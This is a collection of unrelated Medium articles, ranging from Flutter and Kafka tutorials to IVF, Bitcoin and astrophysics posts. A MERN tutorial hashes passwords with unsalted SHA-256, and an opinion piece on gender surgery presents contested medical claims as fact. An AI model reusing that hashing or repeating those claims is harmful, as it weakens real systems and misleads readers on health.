Flutter is an open-source UI software development kit (SDK) developed by Google. It’s used to create mobile apps for iOS, Android, Linux, Mac, Windows, Google Fuchsia & web from a single codebase.
Flutter Key-Benefits in Mobile App Development:
Same UI & Business Logic in All Platforms
Overcome Code Development Time
Increased Time-to-Market Speed
Similar to Native App Performance
Custom, Animated UI of Any Complexity Available
Own Rendering Engine
Simple Platform-Specific Logic Implementation
Hire Top-Notch Flutter App Developers in New York, USA:
Are you finding the top flutter app developers or want to hire the best & cost-effective flutter app developers in New York for your app development project? I highly suggest AppClues Infotech is one of the leading Flutter app development company in the USA and offering their excellent service worldwide. They have the best team of mobile app developers & designers who helps to create innovative & most elegant mobile apps.
They have a robust portfolio of clients and successfully delivered more than 450+ mobile app projects on multiple platforms. With the Agile approach, they have successfully delivered great services to their eminent clients.
Team Strength — 120+
Experienced Years — 8+
Hourly Rate — 20$ to 45$
Location — USA
Easy Step of Hiring Dedicated Flutter Experts
Improve your mobile app development capabilities by hiring skilled & qualified experts from AppClues Infotech to complete and deliver your project in the stipulated time frame. Follow the steps mentioned below.
· Share your project or job requirements
· Resume sharing and screening
· Shortlist the candidate
· Conduct personal interviews
· Get your dedicated developers onboard
Flutter App Development Services by AppClues Infotech
· Flutter Custom App Development
· Flutter App UI/UX Design
· Flutter Widget Development
· Flutter App QA Testing & Maintenance
· Flutter App Updations & Migration
· Flutter for Embedded Devices
Why Choose AppClues Infotech?
· Highly qualified flutter developers
· Flexible & Fast development Process
· A to Z Flutter App Solution at one place
· High-Quality solutions in all time
· Functionality rich widgets
· Follow a well-defined process
· On-time Delivery & affordable cost.
If you have any flutter app project in mind or looking to hire flutter app developers then get in touch with AppClues Infotech to get the right solution for your dream project. | https://medium.com/@alyssa-jerrald/how-can-you-find-the-top-flutter-app-developers-in-new-york-283583f3a2dd | ['Alyssa Jerrald'] | 2021-06-08 05:25:09.223000+00:00 | ['Flutter', 'iOS App Development', 'Android App Development', 'Mobile App Development', 'Flutter App Development'] |
Customizing angular primeNG upload control | PrimeNG provides rich UI controls. One of the useful control is file upload control. check this link. Current primeNG upload control comes with a choose button with upload and cancel. Once user chooses the file, file will be uploaded. If you are using this control in large angular component it may happen that user selected the file and file will be uploaded on the server and user navigate away from the page without saving the form. File is uploaded but the form is not yet saved. This create problem of orphan file without any references. Similarly for delete also user can delete the file and navigate away from the page without saving the form. So there is need of customizing this p-upload control.
We are customizing p-upload in such a way that once user clicks on submit then only upload file, delete file and save form will happen. These three calls can be done parallel or sequential way. It depends on the requirements and decision. There are bunch of RxJS operators that perform these operations.
Install PrimeNG dependencies
npm install primeng --save
npm install primeicons --save
Below is upload html file. fileInput is provided and defined in the component ViewChild property. For download we are calling upload services rest api. There is no upload service call from html. Service call happens when user submits the form.
HTML render like this:
In upload.component.ts first import FileUpload and then define the ViewChild for fileInput. For multiple upload we are using forkJoin to add all the files in ObservableList.
uploadService.ts has uploadFile method. uploadFile accepts file object and creates formData object. This formData appends file blob. Delete method will delete file. Currently we are handling single delete and it can be extended to multiple delete by using forkJoin similar to upload.
Download method is reading the blob object and download the file. If file is of pdf then open in new window, for all other files download. | https://medium.com/coding-in-depth/customizing-angular-primeng-upload-control-87ea6aac0e63 | ['Coding In Depth'] | 2020-01-10 23:16:26.550000+00:00 | ['File Upload', 'Primeng', 'Angular'] |
I Wish I Had Been Told About These Risks Before I Had Gender Surgery | by Walt Heyer
Many Americans are unaware of the serious problems that face transgender persons.
For instance, a 2016 study comparing 20 Lebanese transgender participants to 20 control subjects reported that transgender individuals suffer from more psychiatric pathologies compared to the general population.
More than 50 percent had active suicidal thoughts and 45 percent had had a major depressive episode.
While it may not be politically correct to link psychological disorders with the transgender population, the researchers see the evidence that a link exists. As a former transgender person, I wish the guy who approved me for gender surgery would have told me about the risks.
Quick to Diagnose
The experience of many gender-confused individuals is that medical professionals are quick to reach a diagnosis of gender dysphoria and recommend immediate cross-gender hormone therapy and irreversible reassignment surgery without investigating and treating the co-existing issues. Research has found that powerful psychological issues, such as anxiety disorder, posttraumatic stress disorder, or alcohol or drug dependence often accompany gender dysphoria.
A study published in JAMA Pediatrics in March 2016 shows a high prevalence of psychiatric diagnoses in a sample of 298 young transgender women aged 16 through 29 years.
More than 40 percent had coexisting mental health or substance dependence diagnoses. One in five had two or more psychiatric diagnoses. The most commonly occurring disorders were major depressive episode and non-alcohol psychoactive substance use dependence.
Yet transgender individuals are never required to undergo any objective test to prove their gender dysphoria — because no diagnostic objective test exists.
The cause of this condition can’t be verified through lab results, a brain scan or review of the DNA make-up.
Research studies from 2013 and 2009 looking for a “transgender gene” showed not a smidgeon of abnormality in the genetic make-up which causes someone to be transgender.
No alterations in the main sex-determining genes in male-to-female transsexual individuals were found, suggesting strongly that male-born transgender persons are normal males biologically.
Psychological Care Urgently Needed
The study concluded that improved access to medical and psychological care “are urgently needed to address mental health and substance dependence disorders in this population.”
On the contrary, it did not conclude that improved access to bathrooms, hormones, or surgery were urgently needed.
A 2015 study of 118 individuals diagnosed with gender dysphoria found that 29.6 percent were also found to have dissociative disorders and a high prevalence of lifetime major depressive episode (45.8 percent), suicide attempts (21.2 percent) and childhood trauma (45.8 percent).
It also remarked that differentiating between a diagnosis of dissociative disorder and gender dysphoria is difficult because the two can closely resemble each other.
Another study found a “surprisingly high prevalence of emotional maltreatment” in the 41 transsexuals studied. It called for further investigation to clarify the effects of traumatic childhood experiences and the correlation between transsexualism and dissociative identity.
That finding tracks with what I experienced in my transgender life. In my life and in the lives of those whose families contact me, traumatic childhood experiences are present 100 percent of the time.
Childhood Gender Dysphoria
One area where medical professionals should tread lightly is in the diagnosis and treatment of children who have gender identity issues.
A 2015 study aimed to gather input from pediatric endocrinologists, psychologists, psychiatrists, and ethicists — both those in favor and those opposed to early treatment — to further the ethical debate.
The results showed no consensus on many basic topics of childhood gender dysphoria and insufficient research to support any recommendations for childhood treatments, including the currently published guidelines that recommend suppressing puberty with drugs until age 16, after which cross-sex hormones may be given.
An analysis of the 38 youth referrals for gender dysphoria to the Pediatric Endocrinology Clinic at the University School of Medicine in Indianapolis, showed that more than half had psychiatric and/or developmental comorbidities.
Without sufficient research and consensus on treatment of children diagnosed with gender dysphoria, and knowing over half have co-existing disorders, any invasive treatment, even if recommended by the current guidelines, is simply an experiment.
It’s time to stop using children as experiments.
Transgender Persons are Struggling Psychologically
Transgender individuals need psychotherapy not access to cross-sex restrooms, showers and dressing areas. Blaming society for the ills of transgender persons will not improve their diagnosis and treatment.
Reckless disregard for the mental disorders in favor of enforcing preferred pronouns is madness. It’s time to show compassion by telling the truth and stop pretending they are born that way.
True compassion is acknowledging the mental disorders and providing effective, sound treatment in an effort to slow the staggering number of suicides, before rushing to perform irreversible surgeries. | https://medium.com/the-heritage-foundation/i-wish-i-had-been-told-about-these-risks-before-i-had-gender-surgery-a3e6a6a7dc82 | ['Heritage Foundation'] | 2016-06-09 21:21:59.061000+00:00 | ['Transgender', 'Mental Health', 'Gender Identity', 'Society'] |
Augmented Reality — das wird lustig? | in In Fitness And In Health | https://medium.com/workersonthefield/augmented-reality-das-wird-lustig-5e6e1ee206a9 | ['Reinhard Lanner'] | 2016-06-26 08:32:00.920000+00:00 | ['Handhelds', 'Google', 'Android', 'iPhone', 'Augmented Reality'] |
A Strained Astrophysical Model | Astrophysicists recently discovered a very unusual planetary system. It consists of a double star with a large circumstellar disk. The truly odd thing is that it also has an 11-Jupiter-mass planet that is orbiting the stellar system in a highly unusual way. Its orbit is VERY far from the double star center; it is also very eccentric; and it is “highly misaligned” with the plane of the stellar system.
https://phys.org/news/2020-12-hubble-pins-weird-exoplanet-far-flung.html
The burning question for astrophysicists is how could such a system form. Here is their model. “The prevailing theory is that it formed much closer to its stars, about three times the distance that Earth is from the Sun. But drag within the system’s gas disk caused the planet’s orbit to decay, forcing it to migrate inward toward its stellar pair. The gravitational effects from the whirling twin stars then kicked it out onto an eccentric orbit that almost threw it out of the system and into the void of interstellar space. Then a passing star from outside the system stabilized the exoplanet’s orbit and prevented it from leaving its home system.”
This model seems to involve multiple “then a miracle happens” steps, especially the last one where the “passing star” just happens to nudge the planet into a stable orbit.
As yet there is no mention of the possibility of a capture model for this unusual planet, but that seems less strained to me. We have discovered that there are large numbers of rogue planets roaming free in our galaxy (courtesy of Sumi et al, 2011). The estimated typical mass of the rogue planets is virtually the same as the planet in question. The orbit of that planet has the odd characteristics expected for capture of a rogue planet.
There is no guarantee that the capture model is correct, but it should be considered a viable model, and perhaps the least far-fetched? Why are astrophysicists so adamant in ignoring capture models for stellar systems. Capture models certainly apply on atomic and galactic scales. Why ignore them on stellar scales? | https://medium.com/@rloldershaw/a-strained-astrophysical-model-a938694e9565 | ['Robert Oldershaw'] | 2020-12-10 23:38:50.777000+00:00 | ['Astronomy', 'Physics', 'Science', 'Astrophysics', 'Cosmology'] |
Why are they asking me for so many USG scans before the IVF? Are they really needed? Why did they postpone my egg retrieval? · Dr Dad | Why are they asking me for so many USG scans before the IVF? Are they really needed? Why did they postpone my egg retrieval? · Dr Dad Parenthood May 27·4 min read
Nowadays, many couples face infertility problems, but fortunately, there are several treatments present that can improve the chance of getting pregnant. USG scans are important for fertility treatment monitoring and they are used at different times for different purposes. Ultrasound is frequently performed during the IVF treatment cycle.
During IVF treatment, USG scans work by using high-frequency sound waves to generate a representation of your internal organs. A transducer is used during a USG scan to emit and receive high-frequency sounds. Ultrasound scans provide information about the ovaries, uterus, and endometrial lining. Specialize USG scans are used to estimate ovarian reserves and the shape of the uterine in detail and whether your fallopian tubes are open or not.
A baseline ultrasound is performed at the beginning of IVF and will be taken during your monthly cycle. This USG scan provides information regarding the health of the ovaries and whether any matured eggs are being produced or not. If ovarian cysts are found during the baseline scan, additional treatment may be performed before starting the fertility drugs.
This USG scan is performed to count the number of follicles that are developing and how quickly they are growing. Your doctor will change your medication depending on the follicle growth. When the follicles reach a particular size, your doctor will schedule an HCG injection (known as “trigger shot”) or the egg retrieval procedure. If there are few to no follicles are emerging during IVF, your cycle might be cancelled.
On the other hand, if you are having gonadotropin treatment or IUI, an extreme number of follicles are growing, then your cycle might be cancelled to avoid the risk of having multiple pregnancies.
Ultrasound will measure your endometrial thickness. Your doctor may change your fertility medication doses depending on the thickness of endometrial tissue.
USG scan can also be used during the IVF treatment in the form of an ultrasound-guided procedure. For instance, during egg collection, an ultrasound-guided needle is used to retrieve eggs from the ovaries. Your doctor may use the USG scan during embryo transfer.
Why Doctor Postponed My Egg Retrieval?
During IVF treatment, many patients grow a very low number of follicles, and doctors may not be able to retrieve them. There are few reasons why a doctor may postpone your egg retrieval -
Follicles May Have Ruptured : This can be a reason for postponing your egg retrieval. Your follicle may have ovulated before the egg retrieval. This may happen if the trigger shot (HCG injection) is given before the scheduled time or if the egg retrieval procedure takes place 37 hours or more after trigger injection administration.
: This can be a reason for postponing your egg retrieval. Your follicle may have ovulated before the egg retrieval. This may happen if the trigger shot (HCG injection) is given before the scheduled time or if the egg retrieval procedure takes place 37 hours or more after trigger injection administration. Due to Technical Problem : Your doctor may experience a technical problem during the egg retrieval procedure. This may happen if the patient is very obese or there are scar tissues (adhesions) in the pelvic region. Both obesity and adhesions make it challenging for the vaginal ultrasound probe to access your ovaries. In these situations, your doctor may not be able to technically access the ovaries to drain the follicles to find eggs.
: Your doctor may experience a technical problem during the egg retrieval procedure. This may happen if the patient is very obese or there are scar tissues (adhesions) in the pelvic region. Both obesity and adhesions make it challenging for the vaginal ultrasound probe to access your ovaries. In these situations, your doctor may not be able to technically access the ovaries to drain the follicles to find eggs. Usually, the number of eggs expected from the follicles seen while the USG scan is approximately 80–90%. Most importantly, there will always be one egg in a follicle. Hence, if there are a lower number of follicles, there is a chance that the egg is not collected in the follicle fluid.
Another reason behind postponing your egg retrieval is due to empty follicle syndrome.
Low Ovarian Response: Low ovarian response is typical in older women having IVF treatment. Your doctor may get to know about this after performing Anti Mullerian Hormone Test (AMH) because there is no other way to predict low ovarian response in advance.
Conclusion:
Pregnancy is the most awaited news, but many couples face issues while having a baby. But don’t worry because today technology has reached its peak where nothing is impossible. Hence, you no longer have to wait for the good news because there are many technologies for infertility treatment. Among them, In Vitro Fertilization is more versatile and has more success rate. The studies reveal that if a woman had a poor response in the first IVF cycle, she might have a chance to respond positively to the next cycle. So, IVF is accepted and done by many couples and most of them got good news after completing the treatment. | https://medium.com/@parenthood7/why-are-they-asking-me-for-so-many-usg-scans-before-the-ivf-9759569b79bb | [] | 2021-07-21 12:06:25.508000+00:00 | ['Parenting', 'Kids', 'Moms', 'Pregnancy', 'Dads'] |
Bitcoin is Voluntarist, Not Socialist or Democratic | Socialism’s basic premiss is that ‘property is theft’, and that all property, goods and services should be collectively owned for the benefit of all people in a coercive State with no opt out. Under a socialist system of forced organization, individuals do not have free use of their inherent rights, which are violently suppressed.
This is an inherently immoral proposition, where one group of people inevitably coalesce into an illegitimate ruling class to control and administer other people ‘for their own good’; the good of the collective. Even if this aggregation of power were not the case, no man or group of men has the right to force another man to relinquish his property.
Libertarians understand that there is no such thing as ‘the rights of the collective’ and that only a living individual human has rights. Chief amongst these rights, the ‘root right’, is the right of property. Anyone who contends that Bitcoin is a socialist idea is fundamentally mistaken about how Bitcoin works and its true nature, or is trying to redefine socialism so that it can fit in with and be the standard bearer of the inevitable rise in Bitcoin. You can detect this when you read the phrase, “my idea of socialism is” in this context, which means that the speaker wants to abandon the bad smell of socialism and re-brand the word to mean something that it is not, so that he can remain ‘a committed socialist’ and be a part the real world at the same time.
Bitcoin is the antithesis of socialism. Bitcoin transfers, the ownership of Bitcoins and the rules governing exchanges are not administered by a central State authority, unlike a system designed by a socialist, where who can own what, how much of it, and what can be done with it is absolutely regulated by a group of violent bureaucrats.
Bitcoin is a strict peer to peer protocol, and not a centralized system under the control of arbitrary rules or fallacious economic ideas like Keynesianism. In its essence, Bitcoin acts like a law of nature (powered by cryptography) and it does not ‘care’ about your philosophy or ideology. By dint of this alone, Bitcoin cannot be called ‘socialist’ or have a political philosophy attributed to it, any more than an inanimate object, or a fundamental force of nature can. It is designed to do one thing, it does that thing, and that thing is not inherently political; only Bitcoin’s users have political ideas that they try, and fail, to superimpose upon it. Bitcoin is neutral, like a hammer or an neutron or a hand gun.
Bitcoin is a stateless suite of software protocols that is purely voluntary. You may or may not use Bitcoin at your own discretion. No one forces you to be a part of the Bitcoin ecosystem or to abide by its rules. How many Bitcoins you accumulate in exchange for goods and services is entirely up to you and your trading partners, and what you spend your Bitcoins on is entirely up to you.
The users of Bitcoin do not ‘have a say’ in what you can or cannot do with them. There is no State, Statist, or socialist that can tell you that you may not collect as many Bitcoins as you can, or that your Bitcoins belong to the collective, or that you must hand over a percentage of them to the State ‘for the good of the people’. Users of Bitcoin, by default, are freely associating humans, choosing freely to accept the rules of the Bitcoin system. This is the complete opposite of socialism, which is the negation of individual liberty, the abolition of free choice and the elimination of property rights.
Anyone who claims to be a socialist whilst advocating for the widespread adoption of Bitcoin is de-facto acting against their socialist principles and desire to create a world where collective property ownership and centralized direction of capital is enforced with violence.
In a world where money transfers are made entirely through the Bitcoin block chain, a socialist state will at the very least, have a huge amount of trouble compelling people to hand over their money to the State by force. As usual, the socialist collectivists will resort to threats, violence, imprisonment, confiscation of real property and any other immoral and disgusting means they can come up with to steal money from people. This prompts the question, “how can an avowed socialist advocate the adoption of Bitcoin when it has the potential to destroy his violent Statist utopia from the inside out?”.
Its an interesting question. I suspect that many socialists who advocate the adoption of Bitcoin are having a profound internal struggle with the emergence of not only Bitcoin but of the internet itself and its astonishing, undeniable example of stateless cooperation between men that has had the effect of benefiting everyone.
The internet has brought to everyone on it, at a cost that is near zero, the entire body of human knowledge. Two billion, two hundred and sixty seven million two hundred and thirty three thousand, seven hundred and forty two people and counting. It has also rendered practically redundant, the state monopoly telephone systems and postal systems. Anyone who still believes that we need the State in the face of these revelations is completely insane, or is on the road to abandoning socialism, or is sticking his fingers in his ears unable to face the facts of this matter.
Man is better off in every way without the State. The paradigm shifts brought about by the internet in publishing, music distribution, postal mail, telephony and the new, without precedent services created by the connectivity of the internet are proof of this. Each of these industries has been regulated by the State in the offline world, and now that they are running in the online world without State regulation they are more efficient and beneficial by orders of magnitude. The only people who are against this are the vested interests, the buggy whip makers, and the socialists, and every time they try and exert their influence they inconvenience and damage people and cause them to expend time and money where they would otherwise not have to.
The next great shift on the internet is going to be the complete disruption of the sclerotic bank mediated money transfer systems in favour of internet facilitated money transfers that remove banks from the process flow. This event will cause a great acceleration in the transaction rate of commerce world-wide, will de-fund the socialist states and be of great benefit to everyone everywhere.
All the attempts the banks are making now to embrace the internet and peer to peer payments systems will eventually fail, as long as people are free to develop software, release it and freely interface with money. This is why PayPal has banned transfers that touch Bitcoin in any way; they know that Bitcoin is completely superior to PayPal, and that it constitutes an existential threat to their business. PayPal allowing its system to be used to make payments in exchange for Bitcoins is allowing blood vessels to feed a cancerous tumour. Bitcoin is cancer to PayPal and they must kill it at any cost.
The PayPal response to the inevitable peer to peer payment ecosystem in the form of their ‘Blue Dorito’ suffers from the fatal elixir of powdered friction, arbitrary rules, suppression and regulation by the State, all made soluble with a profound lack of imagination — none of which Bitcoin suffers from… but that is beyond the scope of this post. PayPal will eventually become the MySpace of moving money because it is wedded to the pre internet mode of thinking when it comes to payments, and they are in an abusive shotgun wedding with the State.
Money sees the State as damage and routes around it. This is the fundamental truth of Bitcoin that will completely disrupt the business of money transfer and benefit billions of people world-wide.
Bitcoin, or one of its successors is going to be the service that makes this disruption come to pass. Once critical mass is reached, Bitcoin will be completely unstoppable. We need only look at the French restrictions on 128bit SSL and the way they dropped them when it became the standard protection for eCommerce transactions. The first sign of this shift will be the adoption of Bitcoin as an accessory service on one of the major money transfer service providers, offering Bitcoin transfers to the computer illiterate.
Bitcoin is not socialist. It is not collectivist. It is voluntarist. | https://medium.com/hackernoon/bitcoin-is-voluntarist-not-socialist-or-democratic-83e31c63435c | [] | 2017-07-25 10:23:22.292000+00:00 | ['Bitcoin', 'Ethics', 'Blockchain', 'Socialism', 'Democracy'] |
Submission Guidelines for PsychoLogically | How to format the article
To format it properly so that the chances of curation is the maximum, please follow the Medium guidelines. You can always follow the below-mentioned article for more clear instructions.
You can also check for this article for tips and tricks for writing on Medium.
In short, submit unpublished drafts. Self-published articles are also allowed. Make sure that the image is credited and there is zero plagiarism. Use subheaders and headers to divide the texts into readable chunks. The story with the reading time of 4 to 7 minutes tends to do the best. However, shorter work is also accepted. | https://medium.com/psychologically/submission-guidelines-for-psychologically-f9269cae3350 | ['Jyoti Meena'] | 2020-10-09 06:39:03.411000+00:00 | ['Style Guides', 'Submission Guidelines', 'Psychology', 'Publication', 'Writing'] |
FullStack Development with M.E.R.N Stack: Part 1 | Install
Before you start, you need to install a few dependencies on your computer:
Express Middleware
Install the first 3 middlewares to run your App:
$ npm i express esm nodemon --save
Express : an essential framework for NodeJS to start a server project.
: an essential framework for NodeJS to start a server project. esm : This goes with babel, which you will install later, and allows you to run ES6 (New version of Javascript).
This goes with and allows you to run ES6 (New version of Javascript). nodemon: This is my favorite; it will enable you to restart the server automatically whenever you make changes in the server.
Now, your package.json will look something like
{
"name": "server",
"version": "1.0.0",
"private": true,
"scripts": {
"start": "node -r esm app.js",
"dev": "nodemon -r esm app.js"
},
"dependencies": {
"express": "^4.17.1",
"esm": "^3.2.25",
"nodemon": "^2.0.2"
},
"devDependencies": {
"babel-cli": "^6.26.0",
"babel-core": "^6.26.3",
"babel-polyfill": "^6.26.0",
"babel-preset-es2015": "^6.24.1",
"babel-preset-stage-2": "^6.24.1",
"babel-register": "^6.26.0"
}
}
ESLint Airbnb + Prettier + Babel
Install Eslint & Prettier: npm i eslint prettier
Install ESLint Airbnb to allow all developers to have the same coding style and follow one Javascript coding style
$ npx install-peerdeps --dev eslint-config-airbnb
Create .eslintrc in your server folder and add this:
{
“extends”: “airbnb”
}
Babel
Install Babel: This compiles ES6 to ES5 to compress the project size when pushing to production to reduce run-time and because many web browsers can only read ES5.
$ npm install --save-dev @babel/core
Create .babelrc file in your server project and add this:
gitignore
Create a .gitignore file in your server project and add this:
package-lock.json
node_modules/
This is so familiar with every developer nowadays, but for those who are new: .gitignore will ignore those files/folders when pushing to Github/Gitlab/Bitbucket
In simple words, I don’t want to add node_modules/ to git because it’s HUGE, and others can just install with package.json.
So, I add node_modules/ to .gitignore, and it won’t be pushed to Github/Gitlab/Bitbucket.
Build your Server
The first step is to create a file that will contain our code for Node.js Server
$ touch app.js
This app.js will start a server on PORT 8080 and initialize all the dependencies that your app requires. Add this simple code to app.js
// Import all dependencies & middleware here
import express from ‘express’; // Init an Express App.
const app = express(); // Use your dependencies here // use all controllers(APIs) here
app.get(‘/’, (req, res) => {
res.status(200).json({
status: ‘Server Run successfully’
});
}); // Start Server here
app.listen(8080, () => {
console.log(‘Server is running on port 8080!’);
});
Start your Server
You can find the script that runs these functions in package.json
$ npm start
This will run “start”: “node -r esm app.js” in the package.json
node: this is the main command to run a node app
this is the main command to run a node app -r esm: Enable ‘esm’ for local runs
OR (To run automatically whenever you make a new change, run used by nodemon)
$ npm run dev
Use Dependencies/Middleware
Express is a framework, but it doesn’t mean that it contains all you need to make a great web app. Then, you’ll need to import more powerful libraries.
An example is body-parser:
$ npm i body-parser
Import those highlight lines to app.js:
// Import all dependencies & middleware here
import express from 'express';
import bodyParser from 'body-parser'; // Init an Express App.
const app = express(); // Use your dependencies here
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json()); // use all controllers(APIs) here
app.get('/', (req, res) => {
res.status(200).json({
status: ‘Server Run successfully’
});
}); // Start Server here
app.listen(8080, () => {
console.log('Example app listening on port 8080!');
});
Create RESTful APIs
Now, your project is getting complicated, and you don’t want to put all your API into app.js, which is used only for starting & initializing your app.
You want to separate your APIs into different folders. Run the following commands:
$ mkdir controller
$ touch controller/index.js && touch controller/user.controller.js
Open your user.controller.js and import this code in there:
import express from 'express'; const userController = express.Router(); userController.get('/', (req, res) => {
res.status(200).json({
status: 'user Controller API call successfully'
});
}); export default userController;
Express Router is a class which helps us to create router handlers. It also can extend this routing to handle validation, handle 404 or other errors, etc.
Scalability
Assume your project has many controllers (APIs). You don’t want to keep importing all controllers to your app.js. Then, you want to use 1 file to import all controllers.
Open index.js in your controller and import this:
import userController from ‘./user.controller’; export {
userController
};
Adding API to Express App
You just created the Controller (API), but you haven’t told Express App to use it.
In app.js, first import Controllers:
import {
userController,
} from ‘./controller’;
Replace this:
app.get(‘/’, (req, res) => {
res.status(200).json({
status: ‘Server Run successfully’
});
});
with this:
app.use(‘/’, userController);
You will end up the app.js file like this:
// Import all dependencies & middleware here
import express from "express";
import bodyParser from "body-parser"; import { userController } from "./controller"; // Init an Express App.
const app = express(); // Use your dependencies here
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json()); // use all controllers(APIs) here
app.use("/", userController); // Start Server here
app.listen(8080, () => {
console.log('Server is running on port 8080!');
});
NOTE: Test your app again to make sure it is working. This is so much cleaner and more organized when you develop more APIs in the future
Database
You can choose any Database Language to learn and apply. In this project, I will use MongoDB as it has an excellent library to interact with NodeJS.
Install & Run MongoDB
$ cd ~
$ brew update
$ brew tap mongodb/brew
$ brew install [email protected]
$ brew services start mongodb-community
To stop MongoDB: simply run brew services stop mongodb-community
For more info, please refer to this doc: https://github.com/mongodb/homebrew-brew
Install Mongoose
Install Mongoose in your application: “Mongoose provides a straight-forward, schema-based solution to model your application data.”
This library makes your life easier when you work with MongoDB Driver.
$ npm i mongoose
Connection
In your app.js, import mongoose and connect your app with MongoDB:
// Import all dependencies & middleware here
import express from "express";
import bodyParser from "body-parser";
import mongoose from "mongoose"; import { userController } from "./controller"; // Init an Express App.
const app = express(); // Use your dependencies here
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json()); // use all controllers(APIs) here
app.use("/", userController); // Start Server here
app.listen(8080, () => {
console.log("Server is running on port 8080!");
mongoose.connect("mongodb://localhost/test").then(() => {
console.log(`Conneted to mongoDB at port 27017`);
});
});
you will see 2 lines when you start your app again:
Server is running on port 8080!
Conneted to mongoDB at port 27017
Build a simple User’s Model & Schema Object for your Database
$ mkdir database && mkdir database/models && mkdir database/schemas
$ touch database/schemas/user.schema.js
$ npm i sha256
First, create the schema, and initialize all the attributes for that object in the database.
For example, the User schema will have two attributes: email & hashedPassword.
Open user.schema.js:
import { Schema } from ‘mongoose’;
import sha256 from ‘sha256’; const userSchema = new Schema({
hashedPassword: { type: String, required: true },
email: { type: String, required: true },
});
*
*/
userSchema.methods.comparePassword = function comparePassword(password) {
return this.hashedPassword === sha256(password);
}; /** @param {*} password*/userSchema.methods.comparePassword = function comparePassword(password) {return this.hashedPassword === sha256(password);}; export default userSchema;
Models
Then, you want to create a model for that each schema you create and add them into index.js (so you only need to call one file):
$ touch database/models/user.model.js && database/models/index.js
Open user.model.js:
import mongoose from 'mongoose';
import userSchema from '../schemas/user.schema'; const User = mongoose.model('User', userSchema); export default User;
Open models/index.js:
import User from ‘./user.model’; export {
User,
};
Save data using API
Open controller/user.controller.js.
Import User & replace userController.get(‘/’, …) with these 2 new APIs(Endpoints): | https://levelup.gitconnected.com/a-complete-guide-build-a-scalable-3-tier-architecture-with-mern-stack-es6-ca129d7df805 | ['Calvin Nguyen'] | 2020-09-10 21:54:14.904000+00:00 | ['JavaScript', 'Mongodb', 'Nodejs', 'ES6', 'Expressjs'] |
Streaming analytics with Kafka and ksqlDB | The Green River — Utah Stream Processing. Photo by Doc Searls
This post is co-authored by Maha Arunachalam (devops engineer at Pluralsight) and in collaboration with Theo Cowan (devops engineer); Connor McKay (machine learning engineer); and Jeff Lewis & Zander Nickle (streaming software engineers)
If you’ve been around the dataverse a bit, you’ve likely heard of Apache Kafka. Perhaps you’ve even played with it. Overall, Kafka (the tool, not the philosopher) provides a horizontally scalable stream-processing engine that offers highly performant, fault-tolerant, real-time data feeds.
Messaging
We’ve embraced Kafka at Pluralsight and in this post we’ll provide the high-level of how we’re using it and ksqlDB (formerly KSQL) to do streaming analytics. First, let’s step back a bit. As more engineering orgs organize themselves around microservices, the need arises for inter-component and inter-team communication. At first blush, RESTful endpoints seem great for solving that problem. However, as outlined in this post, it is better for inter-dependent services to be more lightly coupled (and asynchronous). However, http web services are synchronous. Thus the need arises for message queues. While outside the scope of this post, teams at Pluralsight use RabbitMQ and its AMQP protocol for inter-team messaging.
More and more, however, product teams at Pluralsight (PS) are using Kafka for both this inter-team asynchronous communication and analytics. As stated here, however, Kafka isn’t really a message queue in the traditional sense at all — in implementation it looks nothing like RabbitMQ or other similar technologies. It is much closer in architecture to a distributed filesystem or database than a traditional message queue.
Kafka at PS
At Pluralsight, we like Kafka not only because it provides high durability and horizontal scalability, but also because it makes it easy to keep numerous consumers in sync with a given data source. To enable the analytics benefits of Kafka, we store data in perpetuity and leverage both event-style and entity-style topics. For those of you more oriented around databases, an entity is what you’re used to. Entities describe the current state — how many channels does this user have, how much content have they viewed, etc. Events, on the other hand, are, well, events. For example, a user started a course, a user changed their interests, a user searched for X. We orient topics around either one.
Kafka differs from a database in that you don’t query Kafka itself. You can set up consumers directly on Kafka topics to action off of messages as they are consumed, but more commonly you will materialize the data into postgres, S3, etc. This enables running queries in a traditional sense against the data from topics. We replicate most topics out to Postgres and for most of our Kafka topics, materializing into (and querying from) postgres works fairly well. However, as our topic size and analytics needs have grown, we’ve also leveraged AWS’s Athena/S3 data lake solution, which provides a Presto-like query engine without having to manage EC2 instances. While S3 doesn’t manage updates to Kafka records well and this isn’t a perfect solution, the S3/Athena environment does work nicely for event-style Kafka topics.
At Pluralsight, we deploy Kafka along with the Confluent platform. This gives us all of the Kafka functionality described above, as well as extra features and functionality. Some of these are schema management/enforcement and Control Center to monitor brokers. We also plan on leveraging more of their platform moving forward to increase the security, durability, and availability of our Kafka brokers.
Streaming landscape
ksqlDB (formerly called KSQL) is from Confluent and is based on Kafka Streams. It provides a user-friendly API that puts streaming analytics at the fingertips of data scientists (and not just engineers). Since it’s based on Kafka Streams, ksqlDB provides resilient stream processing operations like filters, joins, maps, and aggregations.
You may have heard of Spark Streaming, an extension of the core Spark API, which historically was the most popular processing system for streaming analytics. There are teams working with Spark Streaming at PS, though it has proven more difficult to get it working with AWS EMR compared to using Confluent-based ksqlDB. The other thing we like about ksqlDB is the tighter integration with Kafka (since it’s based on Kafka Streams), as well as the simpler API compared to Spark Streaming. Again, making it such that data scientists can work with streaming analytics is huge.
How PS is using ksqlDB
While there is much more to explore, ksqlDB offers: 1) easy-to-use source and sink connectors; 2) streaming analytics; and 3) the ability to create derived topics.
ksqlDB and a ksqlDB cluster (see more below) not only offer tools for doing streaming analytics, but also for fundamental data engineering tasks via Confluent Kafka connectors. For example, you can easily create Kafka topics via connectors from Postgres (via Debezium) or from MQTT for IoT/Arduino style applications. At PS we use the S3 sink connector for landing data from Kafka to S3, such that we can leverage a map-reduce style data lake (such as AWS Athena) for fast querying. If you’re excited to dig in, there is an impressive repo and examples here where you can quickly spin-up Kafka and ksqlDB via docker and sink geo-location data to ksqlDB like this: smartphone -> MQTT -> kafka -> ksqlDB. It’s a great way to get your hands dirty.
ksqlDB also makes it easy to finally bring typical SQL-style syntax to streaming data. This works via a stream, which is based on a Kafka topic. The upshot is that one can do groupby’s and filtering on one stream or join multiple streams. Groupby feasibility, however, depends on stream size and pod memory. As stated here, unlike with typical SQL, with ksqlDB we create programs that operate continually over unbounded streams of events, ad infinitum. These processes stop only when you explicitly terminate them. This functionality opens up a wide variety of applications, one of which is derived topics.
